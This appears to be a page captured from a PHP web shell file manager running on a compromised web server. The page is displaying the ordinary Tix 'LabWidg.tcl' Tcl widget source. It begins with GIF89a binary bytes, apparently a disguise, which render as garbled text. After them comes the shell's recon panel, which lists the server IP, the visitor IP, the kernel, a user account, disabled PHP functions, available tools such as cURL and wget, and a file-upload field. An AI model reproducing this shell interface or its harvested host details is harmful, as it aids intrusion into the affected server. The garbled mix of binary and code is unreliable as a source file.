GIF89a=( ý' 7IAXKgNgYvYx\%wh&h}týh%ýs%xý}9ýRýý&ý0%ý (ý.ýý5ýSDýý&ýa)ýx5ýý;c*!&r)ï7õ<{4ý3ýH§KoTýýYýaqýýqýýFý !ý ' !ýNETSCAPE2.0 , =( ýýpH,ý$rýl:x(tJýZý,výýzýýxL.:ýýzýnýýý|Nýýýýý~ýýýýýýý& !ý0`9Rý}ýý"ý"a:Sý~xýýýýýýýýgýýýEýýýýýýýRýýýEýýýýBýý ýý8ýýDýýý"ýný ýHýýLýýDkDýBýýýýýDýýýTýýýH ýGýýA Rý |ýým&ýýE8ýSýkGýAýpxýaýýýR2XBýýE8Iýýý6Xý:vT)ý~ýýqýåýý"F~%xý ý 4#Zý0O|-4BsýX:= Qý SalýýyXJ`G&|shýýK3l7ýB|ý$'7J©*0!ýýDýn=ýPýýýýý0`ýRýljýýýýv>ýýý5 ý.69ýødýýýýýnlvý9ýýf{ýýýPbxýl5}ýpýýýýý3aýýýIýOýýýý!>ýýýiýý9ýý#ýý)pýa ½ ý{ý)vmýý%D~6fýýs}RýDýW Eý`!ý ý&L8xý ý{)x`X/>ý}mýýRý*|`Dý=ý_ ^ý5!_&'aýOý7ýcýý`DCx`ý¥ý9ýYýFýýý`?ýý"ý ýn@`ý} lýý@4>ýd S ývýxNýý"@~dýý=ýgýs~Gýýýýýýud &p8Qý)«lXDýýýýA~HýySunýjýýýk*DýLHý] ýýC"JýýXb~ªwSt}6K,ýýqýS:9*:ýýýlý@ý`ýý ý.ìýt9ýSý[©:ýý=`9Nýýýý{¿ýA !Rý:ýýý6ýýxý0ý_ ý;ýýýýýý^ýýý#ýýýý!ýýýýUýýý;0L1ýýýýýp%AýýU,uýý%ýSýý!ýýý~`ýGýýýý ýýý=4ýnpý3ýýýýýýýýýuýuýn|%2ýIýýrý#0ýýJ``8ý@S@5ýýýý^`8Eý]ý.ýSýýý7 ý ý0ýj SýDý zýýýiýSýýýýý!ýýýlýýw9*ýDýIýnEXýýý &AýGoýQfýýFýý;ýýý}ýJýýýýF5ýýQ|ýýýXýýTýýyýýý]ý o ýýC=ýý:ýýýPB@ DýSý(>ýCýx}`ýýxJ,ýàýýp+eE0`ý}`Aý/NEýý ý9@ýýý Hý7ý!%B0`ýl*ýý!8 2ý%ý ý:ý1ý0Eýýux%nP1ý!ýC)ýP81lýxF#¬{ýýýýB0>ýý
Server IP : 217.18.85.50 / Your IP : 18.189.182.15 Web Server : LiteSpeed System : Linux server50.tr85.dhs.com.tr 3.10.0-962.3.2.lve1.5.85.el7.x86_64 #1 SMP Thu Apr 18 15:18:36 UTC 2024 x86_64 User : ferhatgenc ( ) PHP Version : 7.2.34 Disable Function : restore_ini,mail,openbasedir,f_open,system,dl,array_compare,array_user_key_compare,passthru,cat,exec,popen,proc_close,proc_get_status,proc_nice,proc_open,escapeshellcmd,escapeshellarg,show_source,posix_mkfifo,ini_restore,mysql_list_dbs,getmyuid,pconnect,link,symlink,fin,passthruexec,fileread,shell_exec,pcntl_exec,ini_alter,leak,apache_child_terminate,chown,posix_kill,posix_setpgid,posix_setsid,posix_setuid,proc_terminate,syslog,allow_url_fopen,fpassthru,execute,shell,chgrp,passthru,socket_select,socket_create,socket_create_listen,socket_create_pair,socket_listen,socket_accept,socket_bind,foreach,socket_strerror,pcntl_fork,pcntl_signal,pcntl_waitpid,pcntl_wexitstatus,pcntl_wifexited,pcntl_wifsignaled,pcntl_wifstopped,pcntl_wstopsig,pcntl_wtermsig,openlog,apache_get_version,apache_getenv,apache_note,apache_setenv,virtualal MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /lib64/tcl8.5/Tix8.4.3/ |
Upload File : |
# -*- mode: TCL; fill-column: 75; tab-width: 8; coding: iso-latin-1-unix -*- # # $Id: LabWidg.tcl,v 1.3 2001/12/09 05:04:02 idiscovery Exp $ # # LabWidg.tcl -- # # TixLabelWidget: Virtual base class. Do not instantiate # # This widget class is the base class for all widgets that has a # label. Most Tix compound widgets will have a label so that # the app programmer doesn't need to add labels themselvel. # # # Copyright (c) 1993-1999 Ioi Kim Lam. # Copyright (c) 2000-2001 Tix Project Group. # # See the file "license.terms" for information on usage and redistribution # of this file, and for a DISCLAIMER OF ALL WARRANTIES. # # LabelSide : top, left, right, bottom, none, acrosstop # # public widgets: # frame, label # tixWidgetClass tixLabelWidget { -superclass tixPrimitive -classname TixLabelWidget -flag { -label -labelside -padx -pady } -static {-labelside} -configspec { {-label label Label ""} {-labelside labelSide LabelSide left} {-padx padX Pad 0} {-pady padY Pad 0} } } proc tixLabelWidget:ConstructWidget {w} { upvar #0 $w data tixChainMethod $w ConstructWidget if {$data(-labelside) != "acrosstop"} { set data(w:frame) [frame $w.frame] } else { set data(pw:border) [frame $w.border] set data(pw:pad) [frame $w.border.pad] set data(w:frame) [frame $w.border.frame] } if {$data(-labelside) != "none"} { set data(w:label) [label $w.label -text $data(-label)] } tixLabelWidget:Pack $w tixCallMethod $w ConstructFramedWidget $data(w:frame) } proc tixLabelWidget:ConstructFramedWidget {w frame} { # Do nothing } proc tixLabelWidget:Pack {w} { upvar #0 $w data if {[catch {tixLabelWidget:Pack-$data(-labelside) $w}]} { error "unknown -labelside option \"$data(-labelside)\"" } } proc tixLabelWidget:Pack-acrosstop {w} { upvar #0 $w data set labHalfHeight [expr [winfo reqheight $data(w:label)] / 2] set padHeight [expr $labHalfHeight - [$data(pw:border) cget -bd]] if {$padHeight < 0} { set padHeight 0 } tixForm $data(w:label) -top 0 -left 4\ -padx [expr $data(-padx) +4] -pady $data(-pady) tixForm $data(pw:border) -top $labHalfHeight -bottom -1 \ -left 0 -right -1 -padx $data(-padx) -pady $data(-pady) tixForm $data(pw:pad) -left 0 -right -1 \ -top 0 -bottom $padHeight tixForm $data(w:frame) -top $data(pw:pad) -bottom -1 \ -left 0 -right -1 } proc tixLabelWidget:Pack-top {w} { upvar #0 $w data pack $data(w:label) -side top \ -padx $data(-padx) -pady $data(-pady) \ -fill x pack $data(w:frame) -side top \ -padx $data(-padx) -pady $data(-pady) \ -expand yes -fill both } proc tixLabelWidget:Pack-bottom {w} { upvar #0 $w data pack $data(w:label) -side bottom \ -padx $data(-padx) -pady $data(-pady) \ -fill x pack $data(w:frame) -side bottom \ -padx $data(-padx) -pady $data(-pady) \ -expand yes -fill both } proc tixLabelWidget:Pack-left {w} { upvar #0 $w data pack $data(w:label) -side left \ -padx $data(-padx) -pady $data(-pady) \ -fill y pack $data(w:frame) -side left \ -padx $data(-padx) -pady $data(-pady) \ -expand yes -fill both } proc tixLabelWidget:Pack-right {w} { upvar #0 $w data pack $data(w:label) -side right \ -padx $data(-padx) -pady $data(-pady) \ -fill x pack $data(w:frame) -side right \ -padx $data(-padx) -pady $data(-pady) \ -expand yes -fill both } proc tixLabelWidget:Pack-none {w} { upvar #0 $w data pack $data(w:frame)\ -padx $data(-padx) -pady $data(-pady) \ -expand yes -fill both } #---------------------------------------------------------------------- # CONFIG OPTIONS #---------------------------------------------------------------------- proc tixLabelWidget:config-label {w value} { upvar #0 $w data $data(w:label) config -text $value if {$data(-labelside) == "acrosstop"} { tixLabelWidget:Pack-acrosstop $w } }